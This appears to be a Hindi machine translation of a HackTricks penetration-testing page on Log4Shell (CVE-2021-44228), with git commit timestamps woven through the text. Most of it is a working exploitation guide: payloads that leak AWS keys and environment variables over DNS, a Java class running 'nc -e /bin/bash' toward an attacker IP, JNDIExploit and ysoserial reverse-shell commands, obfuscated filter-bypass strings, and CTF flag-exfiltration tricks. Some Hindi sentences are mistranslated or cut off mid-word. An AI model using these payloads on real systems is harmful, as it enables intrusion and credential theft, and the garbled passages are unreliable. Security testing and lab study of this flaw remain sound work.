hacktricks/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md

338 lines
38 KiB
Markdown
Raw Normal View History

# JNDI - जावा नेमिंग एंड डायरेक्टरी इंटरफेस और लॉग4शैल
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> के साथ जीरो से हीरो तक AWS हैकिंग सीखें</summary>
2022-04-28 16:01:33 +00:00
हैकट्रिक्स का समर्थन करने के अन्य तरीके:
* अगर आप अपनी कंपनी का विज्ञापन हैकट्रिक्स में देखना चाहते हैं या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
2022-04-28 16:01:33 +00:00
</details>
## मूल जानकारी
JNDI, जो 1990 के दशक से जावा में एकत्रित किया गया है, एक निर्देशिका सेवा के रूप में कार्य करता है, जिससे जावा कार्यक्रम डेटा या ऑब्जेक्ट को एक नामकरण प्रणाली के माध्यम से खोज सकते हैं। यह SPIs के माध्यम से विभिन्न निर्देशिका सेवाओं का समर्थन करता है, जो विभिन्न सिस्टम से डेटा पुनर्प्राप्ति की अनुमति देता है, जिसमें रिमोट जावा ऑब्ज
## लॉग4शैल-संबंधित CVEs का अवलोकन
2023-09-02 23:48:41 +00:00
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[महत्वपूर्ण]**
2023-09-02 23:48:41 +00:00
यह वंशविरोधी डिसीरियलाइज़ेशन दोष `log4j-core` घटक में एक महत्वपूर्ण दोष है, जिससे संस्करण 2.0-बीटा9 से 2.14.1 तक प्रभावित होता है। यह **दूरस्थ कोड क्रियान्वयन (RCE)** को संभव बनाता है, हमलावादियों को सिस्टम पर कब्जा करने की अनुमति देता है। इस समस्या की रिपोर्ट चेन ज़ाओजुन द्वारा अलीबाबा क्लाउड सुरक्षा टीम से की गई थी और यह विभिन्न एपाचे फ़्रेमवर्क को प्रभावित करती है। संस्करण 2.15.0 में प्रारंभिक सुधार अपूर्ण था। रक्षा के लिए सिग्मा नियम उपलब्ध हैं ([नियम 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [नियम 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml))।
2023-09-02 23:48:41 +00:00
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[महत्वपूर्ण]**
2023-09-02 23:48:41 +00:00
प्रारंभ में कम दर्जा दिया गया था, लेकिन बाद में महत्वपूर्ण बनाया गया, यह CVE एक **सेवा की अस्वीकृति (DoS)** दोष है जो CVE-2021-44228 के लिए 2.15.0 में अपूर्ण सुधार से होता है। यह गैर-डिफ़ॉल्ट विन्यासों को प्रभावित करता है, हमलावादों को नुकसान पहुंचाने की अनुमति देता है जादूगर पेलोड के माध्यम से। एक [ट्वीट](https://twitter.com/marcioalm/status/1471740771581652995) एक बायपास विधि प्रदर्शित करता है। समस्या को संस्करण 2.16.0 और 2.12.2 में सुलझाया गया है जिसमें संदेश खोज पैटर्न को हटाया गया है और JNDI को डिफ़ॉल्ट रूप से अक्षम कर दिया गया है।
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[उच्च]**
2021-12-26 17:34:46 +00:00
`JMSAppender` का उपयोग करते हुए गैर-डिफ़ॉल्ट विन्यासों में प्रभावित करने वाला यह CVE **Log4j 1.x संस्करणों** को एक अविश्वसनीय डिसीरियलाइज़ेशन दोष है। 1.x शाखा के लिए कोई सुधार उपलब्ध नहीं है, जो अंत-जीवन है, और `log4j-core 2.17.0` में अपग्र
2021-12-24 07:57:58 +00:00
```bash
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
```
2023-11-06 08:38:02 +00:00
### **सत्यापन**
2021-12-24 07:57:58 +00:00
पहले सूचीबद्ध कुछ प्लेटफॉर्मों की अनुमति देगी कि आप कुछ चरित्र डेटा डाल सकते हैं जो जब अनुरोध किया जाएगा तो लॉग होगा।\
यह 2 चीजों के लिए बहुत उपयोगी हो सकता है:
2021-12-24 01:52:37 +00:00
* **वंशीकरण** की जांच करने के लिए
* **वंशीकरण** करने के लिए जानकारी का दुरुपयोग करने के लिए
2021-12-24 01:52:37 +00:00
उदाहरण के लिए आप कुछ इस प्रकार का अनुरोध कर सकते हैं:\
या `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** और यदि एक **DNS अनुरोध प्राप्त होता है जिसमें एनवायरनमेंट चर का मान है**, तो आपको पता चल जाएगा कि एप्लिकेशन वंशीकरणयोग्य है।
2021-12-24 01:52:37 +00:00
अन्य जानकारी जिसे आप कोशिश कर सकते हैं **लीक** करने के लिए:
2021-12-26 01:35:57 +00:00
```
${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}
Any other env variable name that could store sensitive information
```
### RCE सूचना
2021-12-26 01:35:57 +00:00
{% hint style="info" %}
JDK संस्करण 6u141, 7u131, या 8u121 से ऊपर चल रहे होस्ट LDAP क्लास लोडिंग हमले के खिलाफ सुरक्षित हैं। यह `com.sun.jndi.ldap.object.trustURLCodebase` की डिफ़ॉल्ट निष्क्रियकरण के कारण है, जो JNDI को LDAP के माध्यम से रिमोट कोडबेस लोड करने से रोकता है। हालांकि, यह महत्वपूर्ण है कि ये संस्करण **डेसीरियलाइज़ेशन हमले के खिलाफ सुरक्षित नहीं हैं**
उन हमलावरों के लिए जो इन उच्च JDK संस्करणों का शिकार बनाना चाहते हैं, जावा एप्लिकेशन में **विश्वसनीय गैजेट** का उपयोग आवश्यक है। इस उद्देश्य के लिए अक्सर ysoserial या JNDIExploit जैसे उपकरणों का उपयोग किया जाता है। उल्टे, निम्न JDK संस्करणों का शोषण करना अधिक सरल है क्योंकि इन संस्करणों को बदलकर विचारहीन कक्षाएँ लोड और क्रियान्वित की जा सकती हैं।
2021-12-26 01:35:57 +00:00
**अधिक जानकारी** के लिए (_जैसे RMI और CORBA वेक्टर्स पर सीमाएँ_) **पिछले JNDI नेमिंग संदर्भ खंड** या [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/) देखें।
2021-12-26 01:35:57 +00:00
{% endhint %}
### RCE - Marshalsec के साथ कस्टम पेलोड
2021-12-26 01:35:57 +00:00
आप इसे **THM बॉक्स** में टेस्ट कर सकते हैं: [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
2021-12-26 01:35:57 +00:00
उपकरण [**marshalsec**](https://github.com/mbechler/marshalsec) का उपयोग करें (जार संस्करण यहाँ उपलब्ध है: [**यहाँ**](https://github.com/RandomRobbieBF/marshalsec-jar))। इस दृष्टिकोण से एक LDAP रेफरल सर्वर स्थापित करता है जो कनेक्शन को एक द्वितीय HTTP सर्वर पर पुनर्निर्देशित करता है जहां हमला होस्ट किया जाएगा:
2021-12-26 01:35:57 +00:00
```bash
2022-05-17 22:16:42 +00:00
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
2021-12-26 01:35:57 +00:00
```
टारगेट को रिवर्स शैल कोड लोड करने के लिए, नीचे दिए गए सामग्री के साथ `Exploit.java` नामक एक जावा फ़ाइल बनाएं:
2021-12-26 01:35:57 +00:00
```java
public class Exploit {
2023-11-06 08:38:02 +00:00
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
2021-12-26 01:35:57 +00:00
}
```
कंपाइल करें जावा फ़ाइल को एक क्लास फ़ाइल में इस्तेमाल करके: `javac Exploit.java -source 8 -target 8`। अगले, उस डायरेक्टरी में जहां क्लास फ़ाइल है, एक **HTTP सर्वर** आरंभ करें: `python3 -m http.server`। यह सुनिश्चित करें कि **marshalsec LDAP सर्वर** इस HTTP सर्वर को संदर्भित करता है।
2021-12-26 01:35:57 +00:00
एक पेशेवर वेब सर्वर पर एक्सप्लॉइट क्लास का क्रियान्वयन ट्रिगर करें एक पेलोड भेजकर जो इसकी तरह हो:
2021-12-26 01:35:57 +00:00
```bash
${jndi:ldap://<LDAP_IP>:1389/Exploit}
```
**ध्यान दें:** यह एक्सप्लॉइट जावा की कॉन्फ़िगरेशन पर निर्भर करता है जो LDAP के माध्यम से रिमोट कोडबेस लोडिंग की अनुमति देती है। यदि यह अनुमति नहीं है, तो विश्वसनीय क्लास का शोषण करने के लिए विचार करें जिससे विचारात्मक कोड का निषेध हो सकता है।
2021-12-24 01:52:37 +00:00
2022-05-17 22:16:42 +00:00
### RCE - **JNDIExploit**
2021-12-25 01:37:23 +00:00
{% hint style="info" %}
ध्यान दें कि किसी कारण से लेखक ने इस परियोजना को गिटहब से हटा दिया था जब लॉग4शैल की खोज के बाद। आप इसका कैश वर्जन [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) में देख सकते हैं लेकिन यदि आप लेखक के निर्णय का सम्मान करना चाहते हैं तो इस वल्न का शोषण करने के लिए एक विभिन्न विधि का उपयोग करें।
2021-12-25 01:37:23 +00:00
इसके अतिरिक्त, आप सोर्स कोड को वेबवे मशीन में नहीं पा सकते हैं, इसलिए या तो सोर्स कोड का विश्लेषण करें, या जार को निष्पादित करें जानते हुए कि आप जो कुछ निष्पादित कर रहे हैं उसका ज्ञान नहीं है।
{% endhint %}
इस उदाहरण के लिए आप सिर्फ इस **वल्नरेबल वेब सर्वर को लॉग4शैल** को पोर्ट 8080 में चला सकते हैं: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_README में आपको इसे कैसे चलाना है इसकी जानकारी मिलेगी_). यह वल्नरेबल एप्लिकेशन HTTP अनुरोध हेडर _X-Api-Version_ की सामग्री को एक वल्नरेबल संस्करण के साथ लॉग कर रहा है।
2021-12-25 01:37:23 +00:00
फिर, आप **JNDIExploit** जार फ़ाइल डाउनलोड कर सकते हैं और इसे निष्पादित कर सकते हैं:
2021-12-26 01:35:57 +00:00
```bash
2022-05-17 22:16:42 +00:00
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
2021-12-25 01:37:23 +00:00
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
```
After reading the code just a couple of minutes, in _com.feihong.ldap.LdapServer_ and _com.feihong.ldap.HTTPServer_ you can see how the **LDAP and HTTP servers are created**. The LDAP server will understand what payload need to be served and will redirect the victim to the HTTP server, which will serve the exploit.\
In _com.feihong.ldap.gadgets_ you can find **some specific gadgets** that can be used to excute the desired action (potentially execute arbitrary code). And in _com.feihong.ldap.template_ you can see the different template classes that will **generate the exploits**.
2021-12-25 01:37:23 +00:00
You can see all the available exploits with **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Some useful ones are:
2021-12-25 01:37:23 +00:00
```bash
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more
```
इसलिए, हमारे उदाहरण में, हमारे पास पहले से ही उस डॉकर वंलरबल एप्लिकेशन को चलाया हुआ है। इसे हमला करने के लिए:
2021-12-25 01:37:23 +00:00
```bash
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
```
जब आप हमले भेजेंगे तो आपको उस टर्मिनल में कुछ आउटपुट दिखाई देगा जहां आपने **JNDIExploit-1.2-SNAPSHOT.jar** को चलाया था।
2021-12-25 01:37:23 +00:00
**ध्यान दें कि अन्य शोषण विकल्पों के लिए `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` की जाँच करें। इसके अतिरिक्त, यदि आपको आवश्यकता हो तो, आप LDAP और HTTP सर्वरों के पोर्ट को बदल सकते हैं।**
2021-12-25 01:37:23 +00:00
2022-05-17 22:16:42 +00:00
### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
2021-12-25 01:37:23 +00:00
पिछले शोषण के तरह, आप इस भेद्यता का शोषण करने के लिए [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) का उपयोग करने की कोशिश कर सकते हैं।\
आप यह विकल्प भेजने के लिए URLs उत्पन्न कर सकते हैं जो पीड़ित को भेजने के लिए हैं:
2021-12-25 01:37:23 +00:00
```bash
# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
```
_यह हमला एक कस्टम जेनरेटेड जावा ऑब्जेक्ट का उपयोग करके **THM सोलर रूम** जैसे प्रयोगशालाओं में काम करेगा। हालांकि, यह सामान्य रूप से काम नहीं करेगा (क्योंकि डिफ़ॉल्ट रूप से जावा को एलडीएपी का उपयोग करके रिमोट कोडबेस लोड करने के लिए कॉन्फ़िगर नहीं किया गया है) मुझे लगता है क्योंकि यह किसी भरोसेमंद क्लास का दुरुपयोग करने के लिए विश्वसनीय कोड को निष्पादित नहीं कर रहा है._
### RCE - ysoserial & JNDI-Exploit-Kit
यह विकल्प वास्तव में उपयोगी है **जावा संस्करणों को केवल निर्दिष्ट कक्षों पर विश्वास करने के लिए कॉन्फ़िगर किया गया है और सभी को नहीं**। इसलिए, **ysoserial** का उपयोग किया जाएगा **विश्वसनीय कक्षों की सीरियलाइजेशन उत्पन्न करने के लिए** जो उपयोग किया जा सकता है गैजेट्स के रूप में **विश्वसनीय कोड निष्पादित करने के लिए** (_ysoserial द्वारा दुरुपयोग किया गया विश्वसनीय कक्ष का उपयोग विक्टिम जावा प्रोग्राम द्वारा किया जाना चाहिए ताकि उत्पाद काम करे_).
**ysoserial** या [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) का उपयोग करके आप JNDI द्वारा डाउनलोड किया जाने वाला डेसीरियलाइज़ेशन उत्पाद बना सकते हैं:
2021-12-24 01:52:37 +00:00
```bash
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
```
व्यक्तिगत डेसीरियलाइज़ेशन पेलोड (जिन्हें आपने या ysoserial द्वारा उत्पन्न किया गया हो) को जीएनडीआई-एक्सप्लॉइट-किट या आपके द्वारा स्वचालित रूप से उत्पन्न किए गए विभिन्न एक्सप्लॉइट के सर्वर पर जीएनडीआई लिंक जेनरेट करने के लिए [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) का उपयोग करें जहां एक्सप्लॉइट विचलित मशीनों से कनेक्शन की प्रतीक्षा कर रहा होगा।
2021-12-24 01:52:37 +00:00
```bash
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
```
2022-04-25 12:04:04 +00:00
![](<../../.gitbook/assets/image (642) (1) (1).png>)
2021-12-24 01:52:37 +00:00
अब आप आसानी से एक उत्पन्न JNDI लिंक का उपयोग करके संरक्षित संस्करण को उपयोग करके एक **रिवर्स शैल** प्राप्त करने के लिए एक वंशवादी संस्करण को भेज सकते हैं: **`${ldap://10.10.14.10:1389/generated}`**
2021-12-24 01:52:37 +00:00
### बायपासेस
2021-12-24 01:52:37 +00:00
```java
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
2021-12-26 01:35:57 +00:00
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
2021-12-24 01:52:37 +00:00
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
```
2023-11-06 08:38:02 +00:00
### स्वचालित स्कैनर
2021-12-24 01:52:37 +00:00
* [https://github.com/fullhunt/log4j-scan](https://github.com/fullhunt/log4j-scan)
* [https://github.com/adilsoybali/Log4j-RCE-Scanner](https://github.com/adilsoybali/Log4j-RCE-Scanner)
* [https://github.com/silentsignal/burp-log4shell](https://github.com/silentsignal/burp-log4shell)
* [https://github.com/cisagov/log4j-scanner](https://github.com/cisagov/log4j-scanner)
* [https://github.com/Qualys/log4jscanwin](https://github.com/Qualys/log4jscanwin)
* [https://github.com/hillu/local-log4j-vuln-scanner](https://github.com/hillu/local-log4j-vuln-scanner)
* [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner)
* [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - स्थानीय वंशांकन पुस्तकालय खोजें
2021-12-24 01:52:37 +00:00
### प्रयोगशालाएं जांचने के लिए
2021-12-24 01:52:37 +00:00
2023-11-06 08:38:02 +00:00
* [**LogForge HTB मशीन**](https://app.hackthebox.com/tracks/UHC-track)
* [**Try Hack Me Solar room**](https://tryhackme.com/room/solar)
2022-02-02 15:35:20 +00:00
* [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn)
* [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app)
2021-12-24 01:52:37 +00:00
## पोस्ट-Log4Shell शोषण
2022-08-10 14:32:58 +00:00
इस [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) में अच्छी तरह से समझाया गया है कि **Log4J** के कुछ विशेषताओं का दुरुपयोग संभव है।
2022-08-10 14:32:58 +00:00
Log4j का [**सुरक्षा पृष्ठ**](https://logging.apache.org/log4j/2.x/security.html) कुछ दिलचस्प वाक्य हैं:
2022-08-10 14:32:58 +00:00
> संस्करण 2.16.0 (जावा 8 के लिए) से **संदेश खोज विशेषता पूरी तरह से हटा दी गई है**। **कॉन्फ़िगरेशन में खोज काम करती है**। इसके अतिरिक्त, अब Log4j डिफ़ॉल्ट रूप से JNDI तक पहुंच को अक्षम कर देता है। कॉन्फ़िगरेशन में JNDI खोज को व्यावसायिक रूप से सक्षम करना चाहिए।
2022-08-10 14:32:58 +00:00
> संस्करण 2.17.0 से (और जावा 7 और जावा 6 के लिए 2.12.3 और 2.3.1), **केवल कॉन्फ़िगरेशन में खोज स्ट्रिंग को रूपांतरित रूप से विस्तारित किया जाता है**; किसी भी अन्य उपयोग में, केवल शीर्ष-स्तर की खोज हल की जाती है, और किसी भी घनी खोज को हल नहीं किया जाता है।
2022-08-10 14:32:58 +00:00
इसका मतलब है कि डिफ़ॉल्ट रूप से आप किसी भी `jndi` शोषण का उपयोग भूल सकते हैं। इसके अतिरिक्त, रूपांतरित खोज करने के लिए आपको उन्हें कॉन्फ़िगर करना होगा।
2022-08-10 14:32:58 +00:00
उदाहरण के लिए, उस CTF में यह फ़ाइल log4j2.xml में कॉन्फ़िगर किया गया था:
2022-08-10 14:32:58 +00:00
```xml
<Console name="Console" target="SYSTEM_ERR">
2023-11-06 08:38:02 +00:00
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
2022-08-10 14:32:58 +00:00
</Console>
```
### Env लुकअप
2022-08-10 14:32:58 +00:00
[इस CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) में हमलावर `${sys:cmd}` की मान को नियंत्रित करता था और एक पर्यावरण चर की से ध्वज को बाहर ले जाने की आवश्यकता थी।\
जैसा कि [**पिछले payloads**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) में देखा गया है, वहाँ विभिन्न तरीके हैं पर्यावरण चरों तक पहुंचने के लिए, जैसे: **`${env:FLAG}`**। इस CTF में यह अनुप्रयोगी था लेकिन यह अन्य वास्तविक जीवन स्थितियों में हो सकता है।
### अपशिष्ट में ध्वज निकास
CTF में, आप लॉग4J का उपयोग करके जावा एप्लिकेशन के stderr तक पहुंच नहीं सकते थे, लेकिन Log4J **अपशिष्ट stdout पर भेजे जाते हैं**, जो पायथन ऐप में प्रिंट किया गया था। इसका मतलब था कि एक अपशिष्ट को ट्रिगर करके हम सामग्री तक पहुंच सकते थे। ध्वज को निकालने के लिए एक अपशिष्ट था: **`${java:${env:FLAG}}`.** यह काम करता है क्योंकि **`${java:CTF{blahblah}}`** मौजूद नहीं है और ध्वज के मान के साथ एक अपशिष्ट दिखाया जाएगा:
![](<../../.gitbook/assets/image (157).png>)
### परिवर्तन पैटर्न अपशिष्ट
बस उसे उठाने के लिए, आप नए [**परिवर्तन पैटर्न**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) डाल सकते थे और अपशिष्ट को ट्रिगर कर सकते थे जो `stdout` पर लॉग किए जाएंगे। उदाहरण के लिए:
![](<../../.gitbook/assets/image (3) (2) (1) (1).png>)
यह त्रुटि संदेश के भीतर तारीख निकालने के लिए उपयोगी नहीं था, क्योंकि लुकअप को परिवर्तन पैटर्न से पहले हल नहीं किया गया था, लेकिन यह अन्य चीजों के लिए उपयोगी हो सकता है जैसे कि पता लगाने के लिए।
### परिवर्तन पैटर्न रेजेक्स
हालांकि, कुछ **रेजेक्स का समर्थन करने वाले परिवर्तन पैटर्न** का उपयोग करना संभव है ताकि रेजेक्स का उपयोग करके लुकअप से सूचना निकाली जा सके और **बाइनरी खोज** या **समय आधारित** व्यवहार का दुरुपयोग किया जा सके।
* **अपशिष्ट संदेश के माध्यम से बाइनरी खोज**
परिवर्तन पैटर्न **`%replace`** का उपयोग **स्ट्रिंग** से **सामग्री** को **बदलने** के लिए किया जा सकता है यहाँ तक कि **रेजेक्स** का उपयोग करके। यह इस प्रकार काम करता है: `replace{पैटर्न}{रेजेक्स}{प्रतिस्थापन}`\
इस व्यवहार का दुरुपयोग करके आप स्ट्रिंग के भीतर कुछ भी रेजेक्स से मेल खाता है तो एक अपशिष्ट को ट्रिगर कर सकते हैं (और अगर यह नहीं मिला तो कोई अपशिष्ट नहीं होगा) जैसे:
2022-08-10 14:32:58 +00:00
```bash
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
```
* **समय आधारित**
2022-08-10 14:32:58 +00:00
जैसा कि पिछले खंड में उल्लिखित किया गया था, **`%replace`** **रीजेक्स** का समर्थन करता है। इसलिए [**ReDoS पेज**](../regular-expression-denial-of-service-redos.md) से पेलोड का उपयोग करके एक **समय समाप्ति** को उत्पन्न करना संभव है यदि ध्वज मिल जाता है।\
उदाहरण के लिए, एक पेलोड जैसे `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` उस CTF में एक **समय समाप्ति** को ट्रिगर करेगा।
2022-08-10 14:32:58 +00:00
इस [**लेख**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) में, एक ReDoS हमले की बजाय एक **विस्तारण हमला** का उपयोग किया गया था जिससे प्रतिक्रिया में समय का अंतर उत्पन्न हुआ:
2022-08-10 14:46:00 +00:00
> ```
> /%replace{
> %replace{
> %replace{
> %replace{
> %replace{
> %replace{
> %replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> ```
>
> यदि ध्वज `flagGuess` के साथ शुरू होता है, तो पूरा ध्वज 29 `#`-s से बदल दिया जाएगा (मैंने इस वर्ण का उपयोग किया क्योंकि यह संभावना है कि यह ध्वज का हिस्सा नहीं होगा)। **प्रत्येक परिणामी 29 `#`-s को फिर 54 `#`-s से बदल दिया जाता है**। यह प्रक्रिया **6 बार** दोहराई जाती है, जिससे कुल ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!** होते हैं।
2022-08-10 14:46:00 +00:00
>
> इतने सारे `#`-s को बदल देने से Flask एप्लिकेशन का 10 सेकंड का समय समाप्त हो जाएगा, जिससे उपयोगकर्ता को HTTP स्थिति कोड 500 भेजा जाएगा। (यदि ध्वज `flagGuess` के साथ शुरू नहीं होता है, हमें गैर-500 स्थिति कोड प्राप्त होगा)
2022-08-10 14:46:00 +00:00
2023-11-06 08:38:02 +00:00
## संदर्भ
2021-12-24 01:52:37 +00:00
* [https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/](https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/)
* [https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/](https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/)
* [https://www.youtube.com/watch?v=XG14EstTgQ4](https://www.youtube.com/watch?v=XG14EstTgQ4)
* [https://tryhackme.com/room/solar](https://tryhackme.com/room/solar)
2021-12-26 17:34:46 +00:00
* [https://www.youtube.com/watch?v=Y8a5nB-vy78](https://www.youtube.com/watch?v=Y8a5nB-vy78)
* [https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf)
2022-08-10 14:47:15 +00:00
* [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
* [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) के साथ शून्य से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
2022-04-28 16:01:33 +00:00
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
